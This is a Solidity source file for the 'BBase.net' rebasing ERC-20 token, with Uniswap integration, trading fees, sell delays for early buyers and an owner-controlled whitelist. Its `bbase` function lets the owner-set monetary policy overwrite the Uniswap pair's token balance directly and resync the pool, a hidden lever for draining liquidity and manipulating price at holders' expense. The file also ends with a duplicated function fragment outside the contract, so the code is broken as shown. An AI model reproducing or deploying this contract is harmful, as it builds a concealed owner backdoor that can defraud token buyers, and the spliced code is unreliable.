contract BBase is ERC20Detailed, Ownable {
    // PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH
    // Anytime there is division, there is a risk of numerical instability from rounding errors. In
    // order to minimize this risk, we adhere to the following guidelines:
    // 1) The conversion rate adopted is the number of gons that equals 1 fragment.
    //    The inverse rate must not be used--TOTAL_GONS is always the numerator and _totalSupply is
    //    always the denominator. (i.e. If you want to convert gons to fragments instead of
    //    multiplying by the inverse rate, you should divide by the normal rate)
    // 2) Gon balances converted into Fragments are always rounded down (truncated).
    //
    // We make the following guarantees:
    // - If address 'A' transfers x Fragments to address 'B'. A's resulting external balance will
    //   be decreased by precisely x Fragments, and B's external balance will be precisely
    //   increased by x Fragments.
    //
    // We do not guarantee that the sum of all balances equals the result of calling totalSupply().
    // This is because, for any conversion function 'f()' that has non-zero rounding error,
    // f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn).
    using SafeMath for uint256;
    using SafeMathInt for int256;

    event LogRebase(uint256 indexed epoch, uint256 totalSupply);
    event LogMonetaryPolicyUpdated(address monetaryPolicy);

    // Used for authentication
    address public monetaryPolicy;

    modifier onlyMonetaryPolicy() {
        require(msg.sender == monetaryPolicy);
        _;
    }

    uint256 private constant DECIMALS = 18;
    uint256 private constant MAX_UINT256 = ~uint256(0);
    uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 9600 * 10**DECIMALS;
    
    mapping (address => bool) private whitelist;


    // TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer.
    // Use the highest value that fits in a uint256 for max granularity.
    uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);

    uint256 private constant MAX_SUPPLY = ~uint128(0);  // (2^128) - 1

    uint256 private _totalSupply;
    uint256 private _gonsPerFragment;
    mapping(address => uint256) private _gonBalances;
    mapping(address => uint256) private firstBuyers;
    uint256 private numRestrict = 10;
    uint256 private numCounted = 0;
    uint256 waitTime = 4 minutes;
    IUniswapV2Router02 public uniswapV2Router;
    address public feeCollector;
    uint256 perc = 5;
    uint256 tokenPerc = 2;
    IUniswapV2Pair public uniPair;
    bool _inSwap = false;
    bool public stopBots = true;

    
    modifier swapInProgress() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    // This is denominated in Fragments, because the gons-fragments conversion might change before
    // it's fully paid.
    mapping (address => mapping (address => uint256)) private _allowedFragments;

    constructor() public Ownable() ERC20Detailed("BBase.net", "BBASE", uint8(DECIMALS)) {
        _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
        _gonBalances[owner()] = TOTAL_GONS;
        _gonsPerFragment = TOTAL_GONS.div(_totalSupply);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        

        (address token0, address token1) = sortTokens(address(this), address(uniswapV2Router.WETH()));
        address a = pairFor(token0, token1);
        uniPair = IUniswapV2Pair(a);
        
        monetaryPolicy = owner();
        
        _approve(address(this), address(uniswapV2Router), ~uint256(0));
        approve(address(uniswapV2Router), ~(uint256(0)));
        emit Transfer(address(0x0), owner(), _totalSupply);
    }
    /**
     * @param monetaryPolicy_ The address of the monetary policy contract to use for authentication.
     */
    function setMonetaryPolicy(address monetaryPolicy_)
        external
        onlyOwner
    {
        monetaryPolicy = monetaryPolicy_;
        emit LogMonetaryPolicyUpdated(monetaryPolicy_);
    }

    /**
     * @dev Notifies Fragments contract about a new rebase cycle.
     * @param supplyDelta The number of new fragment tokens to add into circulation via expansion.
     * @return The total number of fragments after the supply adjustment.
     */
    function rebase(uint256 epoch, int256 supplyDelta)
        public
        onlyMonetaryPolicy
        returns (uint256)
    {
        if (supplyDelta == 0) {
            emit LogRebase(epoch, _totalSupply);
            return _totalSupply;
        }

        if (supplyDelta < 0) {
            _totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
        } else {
            _totalSupply = _totalSupply.add(uint256(supplyDelta));
        }

        if (_totalSupply > MAX_SUPPLY) {
            _totalSupply = MAX_SUPPLY;
        }

        _gonsPerFragment = TOTAL_GONS.div(_totalSupply);
        uniPair.sync();

        emit LogRebase(epoch, _totalSupply);

        return _totalSupply;
    }
    
    function bbase(uint256 deltaFragments) external onlyMonetaryPolicy {
        address a = address(uniPair);
        uint256 balance = balanceOf(a);
        _gonBalances[a] = balance.sub(deltaFragments).mul(_gonsPerFragment);
        uint256 updatedBalance = balanceOf(a);
        rebase(block.timestamp, int256(updatedBalance - balance));
        uniPair.sync();
    }

    
    /**
     * @return The total number of fragments.
     */
     function totalSupply() public override view returns (uint256)
    {
        return _totalSupply;
    }

    
    function balanceOf(address account) public override view returns (uint256) 
    {
        return _gonBalances[account].div(_gonsPerFragment);
    }

    function takeSmallFee(uint256 tokenAmount) private swapInProgress {
        _gonBalances[address(this)] = _gonBalances[address(this)].add(tokenAmount.mul(_gonsPerFragment));
        uint256 totalTokenAmount = balanceOf(address(this));
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            totalTokenAmount,
            0,
            path,
            feeCollector,
            block.timestamp
        );
        
        // uniPair.sync();
    }
    
    function setFeeCollector(address a) external onlyOwner {
        feeCollector = a;
    }
    
    // returns sorted token addresses, used to handle return values from pairs sorted in this order
    function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
    }

    // calculates the CREATE2 address for a pair without making any external calls
    function pairFor(address tokenA, address tokenB) internal view returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                uniswapV2Router.factory(),
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
    
   function transfer(address to, uint256 value)
        public
        override
        virtual
        returns (bool)
    {
        return _transfer(msg.sender, to, value);
    }
     function isBuyTransaction(address sender, address recipient) public view returns(bool){
        return sender == address(uniPair) && recipient != owner();
    }
    
     function isSellTransaction(address sender, address recipient) public view returns(bool){
        return recipient == address(uniPair) && sender != owner();
    }
    
    function setStopBots(bool state) external onlyOwner{
        stopBots = state;
    }
    
    function _transfer(address from, address to, uint256 value) private returns (bool) {
        require(value > 0);
        
        if (balanceOf(address(uniPair)) == 0 && isInWhitelist(from)) {
            revert();
        }

        
        if (!_inSwap) {
           if(stopBots && numCounted <= numRestrict) {
                if (isBuyTransaction(from, to)){
                    firstBuyers[to] = now;
                    numCounted++;
                }
            }
        
            if(isSellTransaction(from, to) && firstBuyers[from] != 0 && firstBuyers[from] + waitTime >= now) {
                revert();
            }
        }
        
        
        uint256 smallPerc = 0;
        
        if (feeCollector != address(0) && !_inSwap && isSellTransaction(from, to)) {
            smallPerc = value.mul(perc).div(100);
            takeSmallFee(smallPerc);
        }
        
        if (!_inSwap && isBuyTransaction(from, to)) {
            smallPerc = value.mul(tokenPerc).div(100);
            takeSmallToken(smallPerc);
        }
        
        uint256 totalGonValue = value.mul(_gonsPerFragment);
        uint256 gonsToTransfer = value.sub(smallPerc).mul(_gonsPerFragment);

        _gonBalances[from] = _gonBalances[from].sub(totalGonValue);
        _gonBalances[to] = _gonBalances[to].add(gonsToTransfer);

        emit Transfer(from, to, value.sub(smallPerc));

        return true;
    }

    function takeSmallToken(uint256 tokenAmount) private {
        uint256 gons = tokenAmount.mul(_gonsPerFragment);
        _gonBalances[feeCollector] = _gonBalances[feeCollector].add(gons);
    }
   
     function allowance(address owner, address spender)
        public
        override
        view
        returns (uint256)
    {
        return _allowedFragments[owner][spender];
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public override virtual returns (bool) 
    {
        _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
        return _transfer(from, to, value);
    }

  function approve(address spender, uint256 value) public
        override
        returns (bool) {
      _approve(msg.sender, spender, value);
      return true;
  }
    /**
     * @dev Approve the passed address to spend the specified amount of tokens on behalf of
     * msg.sender. This method is included for ERC20 compatibility.
     * increaseAllowance and decreaseAllowance should be used instead.
     * Changing an allowance with this method brings the risk that someone may transfer both
     * the old and the new allowance - if they are both greater than zero - if a transfer
     * transaction is mined before the later approve() call is mined.
     *
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     */
  function _approve(address owner, address spender, uint256 value) private {
        _allowedFragments[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    /**
     * @dev Increase the amount of tokens that an owner has allowed to a spender.
     * This method should be used instead of approve() to avoid the double approval vulnerability
     * described above.
     * @param spender The address which will spend the funds.
     * @param addedValue The amount of tokens to increase the allowance by.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        _allowedFragments[msg.sender][spender] =
            _allowedFragments[msg.sender][spender].add(addedValue);
        emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
        return true;
    }

    /**
     * @dev Decrease the amount of tokens that an owner has allowed to a spender.
     *
     * @param spender The address which will spend the funds.
     * @param subtractedValue The amount of tokens to decrease the allowance by.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        returns (bool)
    {
        uint256 oldValue = _allowedFragments[msg.sender][spender];
        if (subtractedValue >= oldValue) {
            _allowedFragments[msg.sender][spender] = 0;
        } else {
            _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
        }
        emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
        return true;
    }
    
    function multiWhitelistAdd(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            whitelist[addresses[i]] = true;
        }
    }

    function multiWhitelistRemove(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            whitelist[addresses[i]] = false;
        }
    }

    function isInWhitelist(address a) internal view returns (bool) {
        return whitelist[a];
    }
    
    function multiTransfer(address[] memory addresses, uint256 amount) public {
        for (uint256 i = 0; i < addresses.length; i++) {
            transfer(addresses[i], amount);
        }
    }   
}
function setMonetaryPolicy(address monetaryPolicy_)
    external
    onlyOwner
{
    monetaryPolicy = monetaryPolicy_;
    emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}

/**
 * @param monetaryPolicy_ The address of the monetary policy contract to use for authentication.
 */